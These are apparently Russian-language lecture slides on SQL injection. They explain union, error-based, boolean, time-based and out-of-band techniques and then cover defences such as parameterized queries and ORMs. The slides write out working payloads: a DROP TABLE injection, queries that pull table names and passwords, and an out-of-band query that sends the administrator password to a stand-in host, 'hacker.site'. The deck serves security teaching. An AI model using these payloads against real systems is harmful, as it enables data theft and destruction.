1 of 47

Безопасность компьютерных систем

Серверные уязвимости web-приложений:

SQL Injections

2 of 47

План

  • Что такое База Данных, SQL?
  • Виды классических SQL инъекций
  • Слепая SQL инъекция
  • Механизмы защиты
  • Q&A

3 of 47

База данных (БД)

4 of 47

Ба́за да́нных — совокупность данных, хранимых в соответствии со схемой данных, манипулирование которыми выполняют в соответствии с правилами средств моделирования данных

5 of 47

Изображение с сайта: https://habr.com/ru/post/555760/

6 of 47

SQL (ˈɛsˈkjuˈɛl; англ. structured query language — «язык структурированных запросов») — декларативный язык программирования, применяемый для создания, модификации и управления данными в реляционной базе данных, управляемой соответствующей системой управления базами данных.

7 of 47

Примеры SQL запросов:

Запись в БД:

Чтение из БД:

INSERT INTO table_name (column1, column2, column3) VALUES (value1, value2, value3);

SELECT column1, column2 FROM table WHERE column1 = 'value';

8 of 47

POST запрос на запись комментария

text: test

1

2

5

Browser

Server

Database

3

4

SQL запрос к БД на запись

SQL запрос к БД на чтение

9 of 47

SQL

Injection

10 of 47

Stored XSS

Reflected XSS

SQL Injection

11 of 47

Stored XSS

Reflected XSS

SQL Injection

$700

$500

$5 500 😎

12 of 47

ПЕРЕВЕДИ 1000 рублей ВАСЕ

13 of 47

ПЕРЕВЕДИ 1000 рублей ВАСЕ И ПЕТЕ

14 of 47

15 of 47

SELECT * FROM users WHERE name = '${username}'

16 of 47

SELECT * FROM users WHERE name = '${username}'

princess

17 of 47

SELECT * FROM users WHERE name = '${username}'

agent007

18 of 47

'; drop table users;--

19 of 47

SELECT * FROM users WHERE name = ' ${username}'

'; drop table users;--

20 of 47

SELECT * FROM users WHERE name = ' ${username}'

'; drop table users;--

21 of 47

SELECT * FROM users WHERE name = ' ${username}'

'; drop table users;--

22 of 47

23 of 47

Пайлоады для проверки на наличие SQL инъекций

'

"

`

1' or '1'='1

5-2

1'--

24 of 47

DEMO

Обход авторизации

25 of 47

DEMO

Обход авторизации

https://www.hacksplaining.com/exercises/sql-injection

26 of 47

Виды классической SQL инъекции

  • Union Based (или In-Band)
  • Error-based

27 of 47

Union based SQL injection

Получение информации о количестве столбцов

1' ORDER BY 1-- #работает

1' ORDER BY 2-- #работает

1' ORDER BY 3-- #работает

1' ORDER BY 4-- #не работает

Следовательно в таблице 3 столбца

28 of 47

Union based SQL injection

Получение информации о количестве столбцов

1' UNION SELECT null-- #не работает

1' UNION SELECT null, null-- #не работает

1' UNION SELECT null, null, null-- #работает

1' UNION SELECT null, null, null, null---- #не работает

Следовательно в таблице 3 столбца

29 of 47

Union based SQL injection

Определение выводимых столбцов

1' AND 1=0 UNION SELECT 1,2,3,4,5,6 --

30 of 47

SELECT name, birthdate FROM userinfo WHERE username='${username}'

31 of 47

SELECT name, birthdate FROM userinfo WHERE username='1' AND 1=0 UNION SELECT 1,2,3,4,5,6 --'

32 of 47

SELECT name, birthdate FROM userinfo WHERE username='1' AND 1=0 UNION SELECT 1,2,3,4,5,6 --'

33 of 47

Union based SQL injection

SIXSS: Reflected XSS через SQL инъекцию

1' AND 1=0 UNION SELECT 1,2,'<script>alert(1)</script>',4,5,6 --

34 of 47

Union based SQL injection

Получение имени таблиц (MYSQL version >= 5)

1' AND 1=0 UNION SELECT 1,2,TABLE_NAME,4,5,6 FROM INFORMATION_SCHEMA.TABLES LIMIT 0,1--

Получение названий столбцов (MYSQL version >= 5)

1' AND 1=0 UNION SELECT 1,2,COLUMN_NAME,4,5,6 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='userinfo' LIMIT 0,1--

35 of 47

Union based SQL injection

Чтение информации из таблиц

1' AND 1=0 UNION SELECT 1,2,password,4,5,6 FROM userinfo LIMIT 0,1--

36 of 47

Error based SQL injection

37 of 47

Error based SQL injection

Вывод результата выполнения запроса в текст ошибки (Mysql)

SELECT COUNT(*) FROM (SELECT 1 UNION SELECT 2)x GROUP BY MID(...YOUR QUERY HERE..., FLOOR(RAND(33)*2), 64)

38 of 47

Виды слепой SQL инъекции

  • Boolean-based
  • Time-based
  • Out-of-Band

39 of 47

Boolean based SQL injection

1' AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'

40 of 47

Boolean based SQL injection

Бинарный поиск

IF(ASCII(SUBSTRING((SELECT ...SQL QUERY...), 1, 1)))>=...VALUE...

41 of 47

Time based SQL injection

1' OR id=IF(ASCII(SUBSTRING((SELECT VERSION()), 1, 1)))>=100, 1, SLEEP(3)) --

42 of 47

Out-of-Band SQL injection

Отправка результата на внешний сервер

SELECT load_file(CONCAT('\\\\',VERSION(),'.hacker.site\\a.txt'));

Отправка результата на внешний сервер с использованием техники XXE

1' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -

43 of 47

43

��

  • atlas (https://github.com/m4ll0k/Atlas)

Инструментарий

44 of 47

44

  • Проверка и фильтрация вводимых пользователем данных
  • Параметризованные запросы
  • ORM библиотеки при работе с базами данных

Защита

45 of 47

`SELECT * FROM users WHERE name = '${username}'`

45

users.findOne({ name: username })

"select * from users where (name = $1)", args: [username]

46 of 47

Ссылки

47 of 47

Вопросы?